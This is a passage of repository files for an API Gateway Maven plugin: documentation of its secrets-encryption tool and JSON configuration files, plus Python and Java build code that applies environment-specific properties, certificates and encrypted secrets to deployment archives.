Secrets\n\nThe `encrypt` tools is used to generate an initial secrets file and to encrypt the values of the properties.\nThe script is invoked with the `jython` interpreter provided with the package and deployment tools of the API Gateway.\n\nThe tool requires a path to the secrets file and a key file to encrypt the values.\nIf the secrets file doesn't exist a new file will be created.\nFor existing files the given key is checked against the key used on file creation.\n\n....\n$ encrypt.sh -h\nUsage: encrypt OPTIONS\n\nEncrypt secrets.\n\nOptions:\n --version show program's version number and exit\n -h, --help show this help message and exit\n -v, --verbose Enable verbose messages [optional]\n --secrets-file=FILEPATH\n Path of JSON file containing confidential properties\n --secrets-key=FILEPATH\n Path to key file to encrypt confidential properties\n --secrets-key-new=FILEPATH\n Path to new key file to change key [optional]\n....\n\n[cols=\"2,5a\", options=\"header\"]\n|===\n|Option\n|Description\n\n|--secrets-file\n|Path of JSON file containing confidential properties.\n\n|--secrets-key\n|Path to key file to encrypt confidential properties.\n\n.Key File\n****\nThe key file contains any arbitrary sequence of bytes.\nIt is treated as a binary file.\n\nIf you edit this file with a text editor be aware of the encoding and the end of line sequence.\nIn this case use ASCII characters in a single line (no line feed at the end) to prevent any incompatibility with other line end formats or editor encodings.\n****\n\n|--secrets-key-new\n|Path to new key file.\n\nUse this option to change the key.\nAll values will be re-encrypted with the new key.\n|===\n\nTo add new properties tag the values with the `encrypt:` prefix.\nValues having this prefix will be encrypted on running the tool.\n\n[source,json]\n----\n{\n \"secrets\": {\n \"__\": \"3QjoMSfhSelmvMlvcgCdyHf+oTyVnHlyneA3stpN0iQKJ1BUIrY9OA==\", <1>\n \"my.password\": \"encrypt:changeme\", <2>\n \"cert.password\": \"eL5+ogfSxQue8+NA0/l859g/2nTFwxBUp/7l7z/sMOE=\" <3>\n }\n}\n----\n<1> Marker to check the key. Don't delete or change it.\n<2> The prefix `encrypt:` indicates that the value `changeme` has to be encrypted.\n<3> Values without the prefix are already encrypted and will not be changed.\n\nNOTE: The `encrypt` tool use the same cipher as the entity store.\n\n*Examples*\n\nEncrypt values with the given key:\n\n.Command Line\n....\n$ encrypt.sh --secrets-file=gateway.crypt.json --secrets-key=secrets.key\n....\n\nChange the key of a secrets file:\n\n.Command Line\n....\n$ encrypt.sh --secrets-file=gateway.crypt.json --secrets-key=secrets.key --secrets-key-new=new_secrets.key\n....\n\n== Configuration Files\n\nFor the configuration of the environment specific deployment archive, various configuration files are used.\nAll configuration files are JSON documents.\nThe schema of the JSON is not validated, so any arbitrary property can be added.\nProperties not known by the plugin will be ignored.\n\nIf a configuration file is updated by the plugin, all properties, including custom properties, are written.\n\nTIP: When a configuration file is written by the plugin, all JSON properties are sorted.\nThis makes diff & merge easy.\n\nFollowing kind of configuration files are supported:\n\n.Configuration Files\n[cols=\"2,<4a,^1,^1\", options=\"header\"]\n|===\n|File|Description|Mandatory|Updated footnote:[Files will be updated by plugin or config tool automatically]\n\n|Environmentalized fields\n|Configuration file for environmentalized fields.\n|yes\n|yes\n\n|Certificates\n|Configuration file for certificates stored in the project.\n|no\n|yes\n\n|Properties\n|Configuration file for properties references by the environmentalized fields and certificate configuration.\n|no\n|no\n\n|Secrets\n|Configuration file confidential properties.\n|no\n|no\n|===\n\n=== Environmentalized Fields\n\nFor configuring environmentalized fields a JSON file having an `entities` property is used.\nFor each configured environmentalized entity a property exists.\nThe name of the property is the _short hand key_ of the entity.\n\nThe value of the field can be specified directly by a `value` property.\nIt can also be specified indirectly by a property or environment variables (controlled via the `source` property).\n\nProperties are name/value pairs.\nThe value of the property is defined ... _(in order of precedence)_\n\n . ... as predefined system property.\n . ... as a command line property via the command line of the configuration tool.\n . ... within a separate property configuration file.\n . ... within the environmentalized fields file (under `properties`).\n\nThe plugin and the configuration tool provides a set of predefined system properties.\n\n.Predefined System Properties\n|===\n|System Property|Description|Provided by\n\n|_system.artifact.group\n|Group of the project artifact.\n|Plugin\n\n|_system.artifact.name\n|Name of the project artifact.\n|Plugin\n\n|_system.artifact.ver\n|Version of the project artifact.\n|Plugin\n\n|_system.artifact.id\n|Complete ID of the project artifact.\n|Plugin\n\n|_system.artifact.info\n|JSON describing the artifact and its dependencies (content of the `gateway.info.json` file).\nIf the `gateway.info.json` file is not available the property contains an empty JSON document `{}`.\n|Plugin\n\n|_system.build.datetime\n|Build date and time in ISO format (YYYY-MM-DD'T'HH:MM:SS.S)\n|Config Tool\n|===\n\n\n.src/main/axwgw/gateway.config.json\n[source,json]\n----\n{\n \"entities\": { <1>\n \"/[CircuitContainer]name=Hello World/[FilterCircuit]name=Hello World Message/[SetAttributeFilter]name=Set name\": { <2>\n \"description\": \"Name for the 'Hello World' message.\", \n \"fields\": {\n \"attributeValue#0\": { <3>\n \"source\": \"property\", <4>\n \"type\": \"string\", <5> \n \"used\": true, <6>\n \"value\": \"foobar\" <7>\n }\n }\n },\n \"/[CircuitContainer]name=Hello World/[FilterCircuit]name=Hello World Message/[SetAttributeFilter]name=Build time\": {\n \"description\": \"Build time in ISO format.\", \n \"fields\": {\n \"attributeValue#0\": {\n \"source\": \"property\",\n \"type\": \"string\",\n \"used\": true,\n \"value\": \"_system.build.datetime\" <8>\n }\n }\n },\n \"/[CircuitContainer]name=Hello World/[FilterCircuit]name=Hello World Message/[SetAttributeFilter]name=Network zone\": {\n \"description\": \"Network zone the API Gateway is located.\", \n \"fields\": {\n \"attributeValue#0\": {\n \"source\": \"value\"\n \"type\": \"string\",\n \"used\": true,\n \"value\": \"internal\" <9>\n }\n }\n },\n \"/[CircuitContainer]name=Hello World/[FilterCircuit]name=Hello World Message/[SetAttributeFilter]name=User\": {\n \"description\": \"Name of the user building the .fed\", \n \"fields\": {\n \"attributeValue#0\": {\n \"source\": \"env\" <10>\n \"type\": \"string\",\n \"used\": true,\n \"value\": \"USERNAME\" <11>\n }\n }\n },\n \"/[CircuitContainer]name=Hello World/[FilterCircuit]name=Hello World Message/[SetAttributeFilter]name=Secret\": {\n \"description\": \"Some secret information\", \n \"fields\": {\n \"attributeValue#0\": {\n \"source\": \"secrets\" <12>\n \"type\": \"string\",\n \"used\": true,\n \"value\": \"secret\" <13>\n }\n }\n }\n }\n \"properties\": { <14>\n \"foobar\": \"myvalue\"\n }\n}\n----\n<1> Environmentalized entities are configured under an `entities` attribute.\n<2> Short hand key of the environmentalized entity.\n<3> Name and index of the environmentalized field.\n<4> Declares a property (named `foobar`, see \"value\") as the source of the field value.\n<5> Type of the field (just for documentation, don't change it).\n<6> Indicates if the configured field is used.\nIf _false_ the field is no longer environmentalized or the entity is renamed or removed.\nThe property is automatically maintained by the plugin. \n<7> Name of the property containing the value.\n<8> Use value of the predefined system property `_system.build.datetime`.\n<9> Literal value for the field.\n<10> Specifies an environment variable as the source for the field value.\n<11> Field value is retrieved from the `USERNAME` environment variable.\n<12> Specifies an property from the secrets file as the source for the field value.\n<13> Field value is retrieved from the `secret` property in the secrets file.\n<14> An optional local definition of properties.\nIf the same property is defined in a separate property file (see below), the separate property has precedence.\n\n\nNOTE: If `value` is _null_ the field is treated as undefined and the build will fail.\n\n=== Certificates\nThe configuration for certificates is stored in a separate JSON file.\nIt specifies the alias of the certificates within the project and the source of the replacement certificate.\n\nWhen the file is specified it will be automatically generated/updated according to the certificates stored in your project.\n\n.src/main/axwgw/gateway.certs.json\n[source,json]\n----\n{\n \"certificates\": { <1>\n \"extern-crt\": { <2>\n \"origin\": { <3>\n \"info\": {\n \"not_after\": \"2020-05-21T07:04:00+02:00\", <4>\n \"subject\": \"CN=extern, O=Axway, L=Berlin, ST=Berlin, C=DE\" <5>\n }\n },\n \"update\": { <6>\n \"file\": \"cert/extern.crt\", <7>\n \"type\": \"crt\" <8>\n }\n }, \n \"server-p12\": {\n \"origin\": {\n \"info\": {\n \"not_after\": \"2020-05-21T07:02:00+02:00\", \n \"subject\": \"CN=server, O=Axway, L=Berlin, ST=Berlin, C=DE\"\n }\n },\n \"update\": {\n \"file\": \"cert/server.p12\", \n \"password\": \"server\", <9>\n \"source\": \"password\", <10>\n \"type\": \"p12\"\n }\n }, \n \"test\": {\n \"origin\": {\n \"info\": {\n \"not_after\": \"2021-09-30T16:01:15+02:00\", \n \"subject\": \"CN=DST Root CA X3, O=Digital Signature Trust Co.\"\n }\n },\n \"update\": null <11>\n },\n \"test2\": { <12>\n \"update\": {\n \"file\": \"cert/server.p12\", \n \"password\": \"server.password\", <13>\n \"source\": \"property\", <14>\n \"type\": \"p12\"\n }\n },\n \"test3\": {\n \"update\": {\n \"file\": \"cert/server.p12\", \n \"password\": \"TEST3_PASSWORD\", <15>\n \"source\": \"env\", <16>\n \"type\": \"p12\"\n }\n },\n \"test4\": {\n \"origin\": {\n \"info\": {\n \"not_after\": \"2021-09-30T16:01:15+02:00\", \n \"subject\": \"CN=DST Root CA X3, O=Digital Signature Trust Co.\"\n }\n },\n \"update\": {\n \"type\": \"empty\" <17>\n }\n }\n }\n}\n----\n<1> Certificates are configured under a `certificates` attribute.\n<2> Unique alias for storing the certificate in the certificate store.\n<3> Information of the origin certificate.\nA missing `origin` attribute indicates the origin certificate store doesn't has a certificate with this alias.\n<4> Expiration date of the origin certificate.\n<5> Subject of the origin certificate.\n<6> Defines the certificate to update the certificate with the same alias within the certificate store.\nA missing `update` attribute indicates a new/unconfigured certificate.\n<7> Path to the new certificate file.\n<8> Type of the certificate.\n`crt` for certificates and `p12` for certificates with key.\n<9> Literal password for the `.p12` file.\n<10> Declares a property (`server.password`, see \"password\") as the source for the password.\n<11> _null_ value indicates that the certificate will not be updated.\n<12> Certificate without a `origin` attribute.\nThis certificate will be added to the certificate store.\n<13> Password for the `.p12` file is retrieved from the property configuration file.\n<14> Declares the property \"password\" as the source of the password for the `.p12` file.\n<15> The password is retrieved from the `TEST3_PASSWORD` environment variable.\n<16> Specifies an environment variable as the source of the password.\n<17> Type `empty` indicates that a certificate will be updated with an _empty_ certificate and therefore will be removed.\n\n=== Properties\n\nProperties used in the configuration files for environmentalized fields and certificates can be resolved by a separate configuration file.\nThe file is a JSON document containing a `properties` property.\nFor each property a name/value pair exists.\n\n.gateway.props.json\n[source,json]\n----\n{\n \"properties\": { <1>\n \"name1\": \"value1\", <2>\n \"name2\": \"value2\"\n }\n}\n----\n<1> Properties are configured under a `properties` attribute.\n<2> For each configured property a name/value pair has to exist.\nThe property is identified by its _name_.\n\n[NOTE]\n====\nProperties may contain sensitive information (e.g. credentials).\nThe shift of properties to a separate file enables them to be exclude from the source code management system.\n\nIn productive environments secretes may be stored in a secured configuration database.\nFor the build process the property file may be temporarily generated from the configuration database.\n====\n\n=== Secrets\n\nA secrets file is used to store confidential configurations (e.g. passwords).\nThe values of the properties are encrypted and can be access with a key only.\nAll values are encrypted with the same key.\n\n.gateway.crypt.json\n[source,json]\n----\n{\n \"secrets\": { <1>\n \"__\": \"3QjoMSfhSelmvMlvcgCdyHf+oTyVnHlyneA3stpN0iQKJ1BUIrY9OA==\", <2>\n \"my.password\": \"encrypt:changeme\", <3>\n \"cert.password\": \"eL5+ogfSxQue8+NA0/l859g/2nTFwxBUp/7l7z/sMOE=\" <4>\n }\n}\n----\n<1> The `secrets` property is required.\n<2> Marker to check the key. Don't delete or change it.\n<3> The prefix `encrypt:` indicates that the value `changeme` has to be encrypted by the `encrypt` tool.\n<4> Values without the prefix are already encrypted.\n"
},
{
"alpha_fraction": 0.6506109833717346,
"alphanum_fraction": 0.6527422666549683,
"avg_line_length": 45,
"blob_id": "768d779f31fd634dbda5242903301f8b062ffc3f",
"content_id": "d8fce6900ba2e08f41f180dcedbc768aebcab7f1",
"detected_licenses": [
"Apache-2.0"
],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 7038,
"license_type": "permissive",
"max_line_length": 199,
"num_lines": 153,
"path": "/src/main/resources/scripts/lib/buildfed.py",
"repo_name": "Axway-API-Management-Plus/apigw-maven-plugin",
"src_encoding": "UTF-8",
"text": "import sys\nimport codecs\nimport os\nimport traceback\nimport logging\n\nfrom optparse import OptionParser\nfrom fedconfig import FedConfigurator\nfrom envconfig import PropConfig\nfrom secrets import Secrets\nfrom datetime import datetime\n\ndef parse_cli_property(cli_prop):\n if not cli_prop:\n logging.error(\"Empty property not allowed!\")\n exit(1)\n\n s = cli_prop.split(\":\", 1)\n if not s[0]:\n logging.error(\"Empty property name!\")\n exit(1)\n\n name = s[0]\n value = s[1] if len(s) > 1 else None\n\n if not value:\n logging.warn(\"Empty value for property '%s'.\" % name)\n\n return (name, value)\n\n\ndef main():\n prog = sys.argv[0]\n version = \"%prog 1.3.0\"\n usage = \"%prog OPTIONS\"\n epilog = \"Build configured .fed package.\"\n \n parser = OptionParser(usage=usage, version=version, epilog=epilog)\n parser.add_option(\"-v\", \"--verbose\", dest=\"verbose\", help=\"Enable verbose messages [optional]\", action=\"store_true\")\n parser.add_option(\"-e\", \"--env\", dest=\"env_file_path\", help=\"Path of environment archive (.env)\", metavar=\"FILEPATH\")\n parser.add_option(\"-p\", \"--pol\", dest=\"pol_file_path\", help=\"Path of policy archive (.pol)\", metavar=\"FILEPATH\")\n parser.add_option(\"-c\", \"--config\", dest=\"config_file_path\", help=\"Path of JSON configuration file\", metavar=\"FILEPATH\")\n parser.add_option(\"--prop\", dest=\"prop_file_path_list\", help=\"Path of JSON property file [multiple]\", metavar=\"FILEPATH\", action=\"append\")\n parser.add_option(\"--cert\", dest=\"cert_file_path\", help=\"Path of JSON certificate configuration file [optional]\", metavar=\"FILEPATH\")\n parser.add_option(\"--cert-expiration\", dest=\"cert_expiration_days\", help=\"Check if certificates expire within the next days [optional]\", metavar=\"DAYS\")\n parser.add_option(\"--cert-config-update\", dest=\"cert_config_update\", help=\"Enable writing of info section for 'update' certificates within the configuration file [optional]\", action=\"store_true\")\n parser.add_option(\"--output-fed\", dest=\"out_fed_file_path\", help=\"Path of output deployment archive file (.fed) [optional]\", metavar=\"FILEPATH\")\n parser.add_option(\"--output-env\", dest=\"out_env_file_path\", help=\"Path of output environment archive file (.env) [optional]\", metavar=\"FILEPATH\")\n parser.add_option(\"-D\", \"--define\", dest=\"cli_properties\", help=\"Define a command line property [multiple]\", metavar=\"NAME:VALUE\", action=\"append\")\n parser.add_option(\"-F\", \"--fromFile\", dest=\"file_properties\", help=\"Define a command line property from file content [multiple]\", metavar=\"NAME:FILE\", action=\"append\")\n parser.add_option(\"--passphrase-in\", dest=\"passphrase_in\", help=\"Passphrase of input archive files [optional]\", metavar=\"PASSPHRASE\")\n parser.add_option(\"--passphrase-out\", dest=\"passphrase_out\", help=\"Passphrase for output archive files [optional]\", metavar=\"PASSPHRASE\")\n parser.add_option(\"-s\", \"--simulate\", dest=\"simulate\", help=\"Enable simulation mode [optional]\", action=\"store_true\")\n parser.add_option(\"-b\", \"--base-dir\", dest=\"base_dirs\", help=\"Base directory for certificate files [multiple]\", metavar=\"DIRECTORY\", action=\"append\")\n parser.add_option(\"--secrets-file\", dest=\"secrets_file\", help=\"Path of JSON file containing confidential properties [optional]\", metavar=\"FILEPATH\")\n parser.add_option(\"--secrets-key\", dest=\"secrets_key_file\", help=\"Path to key file to decrypt confidential properties [optional]\", metavar=\"FILEPATH\")\n \n (options, args) = parser.parse_args()\n\n if not options.env_file_path:\n parser.error(\"Environment archive option is missing!\")\n if not options.pol_file_path:\n parser.error(\"Policy archive option is missing!\")\n if not options.config_file_path:\n parser.error(\"Configuration file option is missing!\")\n if options.secrets_file and not options.secrets_key_file:\n parser.error(\"Key file for secrets is missing!\")\n\n logging.basicConfig(format='%(levelname)s: %(message)s')\n if options.verbose:\n logging.getLogger().setLevel(logging.DEBUG)\n else:\n logging.getLogger().setLevel(logging.INFO)\n\n # Add some standard command line properties\n cli_properties = {}\n cli_properties[\"_system.build.datetime\"] = datetime.now().isoformat()\n\n # Add command line properties\n if options.cli_properties:\n for sp in options.cli_properties:\n (name, value) = parse_cli_property(sp)\n cli_properties[name] = value\n\n if options.file_properties:\n for fp in options.file_properties:\n (name, prop_file) = parse_cli_property(fp)\n if not os.path.isfile(prop_file):\n raise ValueError(\"File for command line property '%s' doesn't exist: %s\" % (name, prop_file))\n \n logging.info(\"Reading command line property '%s' from file '%s'\" % (name, prop_file))\n with codecs.open(prop_file, encoding='utf-8', mode='r') as pf:\n cli_properties[name] = pf.read()\n\n try:\n # Set properties from files and command line properties\n properties = PropConfig(options.prop_file_path_list)\n for name, value in cli_properties.items():\n logging.info(\"Provided command line property %s\" % (name))\n properties.set_property(name, value)\n\n # Set passphrases\n passphrase_in = \"\"\n if options.passphrase_in:\n passphrase_in = options.passphrase_in\n\n passphrase_out = \"\"\n if options.passphrase_out:\n passphrase_out = options.passphrase_out\n\n # Set secrets\n secrets = None\n if options.secrets_file:\n secrets = Secrets(options.secrets_key_file, options.secrets_file)\n\n # Setup configuration\n fed_config = FedConfigurator(options.pol_file_path, options.env_file_path, options.config_file_path, options.cert_file_path, properties, passphrase_in, secrets)\n if options.base_dirs:\n fed_config.set_base_dirs(options.base_dirs)\n\n if options.simulate:\n fed_config.enable_simulation_mode()\n\n if options.cert_config_update:\n fed_config.enable_cert_config_update()\n\n if options.cert_expiration_days:\n fed_config.set_cert_expiration_days(int(options.cert_expiration_days))\n\n # Execute configuration\n succeeded = fed_config.configure(passphrase_out)\n if succeeded:\n if options.simulate:\n logging.info(\"[SIMULATION_MODE] No output files written!\")\n else:\n if options.out_fed_file_path:\n fed_config.write_fed(options.out_fed_file_path)\n if options.out_env_file_path:\n fed_config.write_env(options.out_env_file_path)\n else:\n sys.exit(1)\n\n except Exception as e:\n if options.verbose:\n logging.error(\"Error occurred, check details:\", exc_info=True)\n else:\n logging.error(\"%r\" % (e))\n sys.exit(1) \n\n sys.exit(0)\n\nif __name__ == \"__main__\":\n main()\n"
},
{
"alpha_fraction": 0.6835748553276062,
"alphanum_fraction": 0.6835748553276062,
"avg_line_length": 30.049999237060547,
"blob_id": "bdf4a630a4de97d48223d936cd9bff2768d0e52f",
"content_id": "35e7210a68bed1b859539759fd9a3fe7659de269",
"detected_licenses": [
"Apache-2.0"
],
"is_generated": false,
"is_vendor": false,
"language": "Java",
"length_bytes": 1242,
"license_type": "permissive",
"max_line_length": 103,
"num_lines": 40,
"path": "/src/main/java/com/axway/maven/apigw/utils/DomainCertificate.java",
"repo_name": "Axway-API-Management-Plus/apigw-maven-plugin",
"src_encoding": "UTF-8",
"text": "package com.axway.maven.apigw.utils;\n\nimport org.apache.maven.plugin.logging.Log;\n\nimport java.io.File;\nimport java.io.IOException;\nimport java.util.ArrayList;\nimport java.util.List;\nimport java.util.Objects;\n\npublic class DomainCertificate extends AbstractCommandExecutor {\n private final File axwayContainerScriptHome;\n\n public DomainCertificate(String name, File containerScript, Log log) {\n super(name, log);\n this.axwayContainerScriptHome = Objects.requireNonNull(containerScript,\n \"scripts home is null\");\n }\n\n protected int execute() throws IOException {\n List<String> createDomainCert = new ArrayList<>();\n createDomainCert.add(\"--default-cert\");\n createDomainCert.add(\"--force\");\n\n return execute(createDomainCert);\n }\n\n @Override\n protected File getCommand() throws IOException {\n\n File domainCertificateCreation = new File(this.axwayContainerScriptHome, \"gen_domain_cert.py\");\n\n if (domainCertificateCreation.exists()) {\n return domainCertificateCreation;\n } else {\n throw new IOException(\n \"gen_domain_cert.py not found! Checked: \" + domainCertificateCreation.getPath());\n }\n }\n}\n"
},
{
"alpha_fraction": 0.7745952606201172,
"alphanum_fraction": 0.7745952606201172,
"avg_line_length": 38.17073059082031,
"blob_id": "274afd0b7f012a19e59ef4d3ac0e4ce585526309",
"content_id": "2123649005114983f234c1b4d077077ac3704fb4",
"detected_licenses": [
"Apache-2.0"
],
"is_generated": false,
"is_vendor": false,
"language": "Java",
"length_bytes": 1606,
"license_type": "permissive",
"max_line_length": 148,
"num_lines": 41,
"path": "/src/main/java/com/axway/maven/apigw/ToolsMojo.java",
"repo_name": "Axway-API-Management-Plus/apigw-maven-plugin",
"src_encoding": "UTF-8",
"text": "package com.axway.maven.apigw;\n\nimport java.io.File;\nimport java.io.IOException;\n\nimport org.apache.maven.plugin.AbstractMojo;\nimport org.apache.maven.plugin.MojoExecutionException;\nimport org.apache.maven.plugin.MojoFailureException;\nimport org.apache.maven.plugins.annotations.LifecyclePhase;\nimport org.apache.maven.plugins.annotations.Mojo;\nimport org.apache.maven.plugins.annotations.Parameter;\nimport org.apache.maven.project.MavenProject;\n\nimport com.axway.maven.apigw.utils.JythonExecutor;\nimport com.axway.maven.apigw.utils.ResourceExtractor;\n\n@Mojo(defaultPhase = LifecyclePhase.GENERATE_RESOURCES, name = \"tools\", requiresProject = true, threadSafe = false, requiresDirectInvocation = true)\npublic class ToolsMojo extends AbstractMojo {\n\n\tpublic static String CMD_PACKAGE = \"scripts\";\n\tpublic static String[] COMMANDS = { \"buildfed.cmd\", \"buildfed.sh\", \"encrypt.cmd\", \"encrypt.sh\" };\n\n\t@Parameter(defaultValue = \"${project}\", readonly = true)\n\tprotected MavenProject project;\n\n\t@Override\n\tpublic void execute() throws MojoExecutionException, MojoFailureException {\n\t\ttry {\n\t\t\tFile targetDir = new File(this.project.getBuild().getDirectory(), \"tools\");\n\t\t\tFile scriptDir = new File(targetDir, \"lib\");\n\n\t\t\tResourceExtractor re = new ResourceExtractor(this.getLog());\n\t\t\tre.extractResources(targetDir, CMD_PACKAGE, COMMANDS);\n\t\t\tre.extractResources(scriptDir, JythonExecutor.SCRIPT_RESOURCE_PACKAGE, JythonExecutor.SCRIPTS);\n\t\t\t\n\t\t\tgetLog().info(\"Tools extracted to \" + targetDir.getPath());\n\t\t} catch (IOException e) {\n\t\t\tthrow new MojoExecutionException(\"Error on extracting tools\", e);\n\t\t}\n\t}\n}\n"
},
{
"alpha_fraction": 0.5339794754981995,
"alphanum_fraction": 0.5344895720481873,
"avg_line_length": 37.69078826904297,
"blob_id": "749d275821c2492d0f49be517b2a58aae66bceab",
"content_id": "88e81d6f4155bf1aa41af54c2c9365df671393da",
"detected_licenses": [
"Apache-2.0"
],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 17643,
"license_type": "permissive",
"max_line_length": 153,
"num_lines": 456,
"path": "/src/main/resources/scripts/lib/envconfig.py",
"repo_name": "Axway-API-Management-Plus/apigw-maven-plugin",
"src_encoding": "UTF-8",
"text": "import json\nimport os\nimport logging\nimport base64\nimport sys\n\nfrom com.vordel.es.xes import PortableESPKFactory\nfrom java.text import SimpleDateFormat\nfrom java.util import Date\nfrom java.util.concurrent import TimeUnit\nfrom secrets import Secrets\n\nclass FieldKey:\n def __init__(self, entity_short_hand_key, field_name, field_index, field_type):\n self.short_hand_key = entity_short_hand_key\n self.name = field_name\n self.index = field_index\n self.type = field_type\n\nclass FieldValue:\n def __init__(self, field_key, value):\n self.key = field_key\n self.value = value\n\n\nclass PropConfig:\n def __init__(self, property_file_path_list):\n stdin_loaded = False\n self.__properties = {}\n if not property_file_path_list:\n return\n\n for property_file_path in property_file_path_list:\n properties = None\n if \"-\" == property_file_path:\n if stdin_loaded:\n # properties already loaded from stdin\n continue\n stdin_loaded = True\n logging.info(\"Reading properties from stdin\")\n properties = json.load(sys.stdin)\n else:\n if not os.path.exists(property_file_path):\n raise ValueError(\"Property file '%s' doesn't exist!\" % (property_file_path))\n\n logging.info(\"Reading property file '%s'\" % (property_file_path))\n with open(property_file_path) as property_file:\n properties_json = json.load(property_file)\n\n if \"properties\" not in properties_json:\n raise ValueError(\"File '%s' is not a valid property file; missing 'properties' attribute!\" % (property_file_path))\n\n properties = properties_json[\"properties\"]\n\n # Add or overwrite properties\n for p in properties:\n if p not in self.__properties:\n logging.debug(\"set property '%s' from '%s'\" % (p, property_file_path))\n else:\n logging.debug(\"override property '%s' from '%s'\" % (p, property_file_path))\n self.__properties[p] = properties[p]\n return\n\n def get_property(self, key):\n if key not in self.__properties:\n return None\n return self.__properties[key]\n\n def set_property(self, key, value):\n self.__properties[key] = value\n\nclass EnvConfig:\n def __init__(self, config_file_path, properties, secrets):\n self.__config_file_path = None\n self.__config_json = None\n self.__properties = None\n self.__missing_vars = False\n self.__file_updated = False\n self.__migrated = False\n self.__origin_json_str = None\n self.__unconfigured_fields = []\n\n self.__properties = properties\n self.__pespk_factory = PortableESPKFactory.newInstance()\n\n self.__config_file_path = config_file_path\n\n self.__secrets = secrets\n\n if os.path.isfile(self.__config_file_path):\n logging.info(\"Reading configuration file '%s'\" % (self.__config_file_path))\n with open(self.__config_file_path) as config_file:\n self.__config_json = json.load(config_file)\n self.__origin_json_str = json.dumps(self.__config_json, sort_keys=True, indent=2)\n self.__reset()\n else:\n logging.info(\"Configuration file '%s' doesn't exist; empty file will be created.\" % (self.__config_file_path))\n self.__config_json = {}\n return\n\n def __get_entities(self):\n json_entities = None\n if \"entities\" in self.__config_json:\n json_entities = self.__config_json[\"entities\"]\n else:\n self.__config_json[\"entities\"] = {}\n self.__missing_vars = True\n json_entities = self.__config_json[\"entities\"]\n return json_entities\n\n def __get_entity(self, field_key):\n json_entities = self.__get_entities()\n json_entity = None\n if field_key.short_hand_key in json_entities:\n json_entity = json_entities[field_key.short_hand_key]\n else:\n self.__missing_vars = True\n json_entity = {\"description\": \"\", \"fields\": {}}\n json_entities[field_key.short_hand_key] = json_entity\n return json_entity\n\n def __get_field(self, field_key):\n json_entity = self.__get_entity(field_key)\n fpk = field_key.name + \"#\" + str(field_key.index)\n\n json_field = None\n if fpk in json_entity[\"fields\"]:\n json_field = json_entity[\"fields\"][fpk]\n json_field[\"used\"] = True\n else:\n json_field = {\"type\": field_key.type, \"value\": None, \"used\": True, \"source\": \"property\"}\n json_entity[\"fields\"][fpk] = json_field\n self.__missing_vars = True\n return json_field\n\n def __get_property(self, p):\n v = None\n\n if self.__properties:\n v = self.__properties.get_property(p)\n\n if v is None:\n if \"properties\" in self.__config_json and p in self.__config_json[\"properties\"]:\n v = self.__config_json[\"properties\"][p]\n\n if v is not None and type(v) is bool:\n v = \"true\" if v else \"false\"\n\n return v\n\n def __reset(self):\n json_entities = self.__get_entities()\n for entity in json_entities.values():\n if \"fields\" in entity:\n for field in entity[\"fields\"].values():\n # reset used flag\n if \"used\" in field:\n field[\"used\"] = False\n\n # convert to newer version\n if \"property\" in field:\n if field[\"property\"]:\n field[\"value\"] = field[\"property\"]\n field[\"source\"] = \"property\"\n else:\n field[\"source\"] = \"value\"\n\n del field[\"property\"]\n self.__migrated = True\n elif \"source\" not in field:\n field[\"source\"] = \"value\"\n self.__migrated = True\n return\n\n def has_unused_vars(self):\n json_entities = self.__get_entities()\n for entity in json_entities.values():\n if \"fields\" in entity:\n for field in entity[\"fields\"].values():\n if \"used\" in field:\n if field[\"used\"] == False:\n return True\n return False\n\n def to_shorthandkey(self, entity):\n pespk = self.__pespk_factory.createPortableESPK(entity.getEntityPk())\n return pespk.toShorthandString()\n\n def check_field(self, entity, entity_field):\n fk = FieldKey(self.to_shorthandkey(entity), entity_field.getEntityFieldName(), entity_field.getIndex(), entity_field.getType())\n f = self.__get_field(fk)\n return FieldValue(fk, None)\n\n def get_value(self, entity, entity_field):\n fk = FieldKey(self.to_shorthandkey(entity), entity_field.getEntityFieldName(), entity_field.getIndex(), entity_field.getType())\n f = self.__get_field(fk)\n\n if \"source\" not in f:\n raise ValueError(\"Missing 'source' property in field '%s#%s' of entity '%s'\" % (fk.name, str(fk.index), fk.short_hand_key))\n\n if \"value\" not in f:\n raise ValueError(\"Missing 'value' property in field '%s#%s' of entity '%s'\" % (fk.name, str(fk.index), fk.short_hand_key))\n\n value = None\n if \"property\" == f[\"source\"]:\n if f[\"value\"]:\n p = f[\"value\"]\n value = self.__get_property(p)\n if value is None:\n raise ValueError(\"Missing configured property '%s'\" % (p))\n elif \"value\" == f[\"source\"]:\n value = f[\"value\"]\n elif \"env\" == f[\"source\"]:\n if f[\"value\"]:\n e = f[\"value\"]\n value = os.environ[e]\n elif \"secrets\" == f[\"source\"]:\n if not self.__secrets:\n raise ValueError(\"Secrets required by field '%s#%s' of entity '%s', but not specified!\" % (fk.name, str(fk.index), fk.short_hand_key))\n if f[\"value\"]:\n c = f[\"value\"]\n value = self.__secrets.get_secret(c)\n if value is None:\n raise ValueError(\"Missing configured secret '%s'\" % (c))\n else:\n raise ValueError(\"Invalid source property '%s'\" % f[\"source\"])\n\n if value is None:\n self.__unconfigured_fields.append(fk)\n\n return FieldValue(fk, value)\n\n def get_unconfigured_fields(self):\n return self.__unconfigured_fields\n\n def update_config_file(self, force=False):\n new_json_str = json.dumps(self.__config_json, sort_keys=True, indent=2)\n if self.__origin_json_str != new_json_str:\n with open(self.__config_file_path, \"w\") as config_file:\n config_file.write(new_json_str)\n self.__file_updated = True\n logging.info(\"Configuration file updated: %s\" % (self.__config_file_path))\n if self.__migrated:\n logging.info(\"Configuration file migrated to new version.\")\n return self.__file_updated\n\n def is_config_file_updated(self):\n return self.__file_updated\n\n\nclass CertRef:\n def __init__(self, alias, cert_type, cert_file_path, password = \"\"):\n self.__alias = alias\n self.__type = cert_type\n self.__file_path = cert_file_path\n self.__password = password\n\n if cert_type not in [\"crt\", \"p12\", \"empty\"]:\n raise ValueError(\"Invalid certificate type '%s' for alias '%s'!\" % (cert_type, alias))\n if self.__type != \"empty\" and not self.__file_path:\n raise ValueError(\"Missing path to certificate file for alias '%s'!\" % (alias))\n return\n\n def get_alias(self):\n return self.__alias\n\n def get_type(self):\n return self.__type\n\n def get_file(self):\n return self.__file_path\n\n def get_password(self):\n return self.__password\n \n def is_empty(self):\n return self.__type == \"empty\"\n\nclass CertInfo:\n def __init__(self, alias, subject, not_after):\n self.__alias = alias\n self.__subject = subject\n self.__not_after = not_after\n\n def get_alias(self):\n return self.__alias\n\n def get_subject(self):\n return self.__subject\n\n def get_info(self):\n return {\"info\": {\"subject\": self.__subject, \"not_after\": self.format_not_after() }}\n \n def 